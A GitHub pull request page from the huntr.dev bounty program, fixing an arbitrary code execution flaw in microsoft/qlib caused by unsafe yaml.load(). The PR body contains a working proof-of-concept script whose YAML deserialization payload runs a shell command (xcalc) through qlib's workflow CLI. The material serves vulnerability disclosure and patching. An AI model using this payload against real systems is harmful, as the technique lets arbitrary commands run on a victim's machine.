Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Fix for Arbitrary Code Execution - huntr.dev #189

Merged
merged 2 commits into from Jan 14, 2021

Conversation

huntr-helper
Copy link

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 馃敤. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/pip/qlib/1/README.md

User Comments:

馃搳 Metadata *

Arbitrary Code Excecution in microsoft/qlib. Qlib is an AI-oriented quantitative investment platform, which aims to realize the potential, empower the research, and create the value of AI technologies in quantitative investment.

Bounty URL: https://www.huntr.dev/bounties/1-pip-qlib

鈿欙笍 Description *

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml

馃捇 Technical Description *

Fixed by avoiding unsafe loader.

馃悰 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import os
import qlib.workflow.cli as cli

exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('exploit.yml','w+').write(exploit)
cli.workflow('exploit.yml','workflow','/tmp')
os.system('rm exploit.yml')

Execute the following commands in another terminal:

python3 exploit.py
Check the Output:

xcalc will pop up.

馃敟 Proof of Fix (PoF) *

After fix it will not popup a calc

馃憤 User Acceptance Testing (UAT)

After fix functionality is unaffected.

@you-n-g you-n-g merged commit b4a088e into microsoft:main Jan 14, 2021
@you-n-g
Copy link
Collaborator

you-n-g commented Jan 14, 2021

Thanks so much!

@JamieSlome
Copy link

@you-n-g, if you want more security fixes and patches like this in the future, you can let security researchers know that they can win bounties protecting your repository by copying this small code snippet into your README.md:

[![huntr](https://cdn.huntr.dev/huntr_security_badge_mono.svg)](https://huntr.dev)

馃憞 馃憞 馃憞

huntr

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants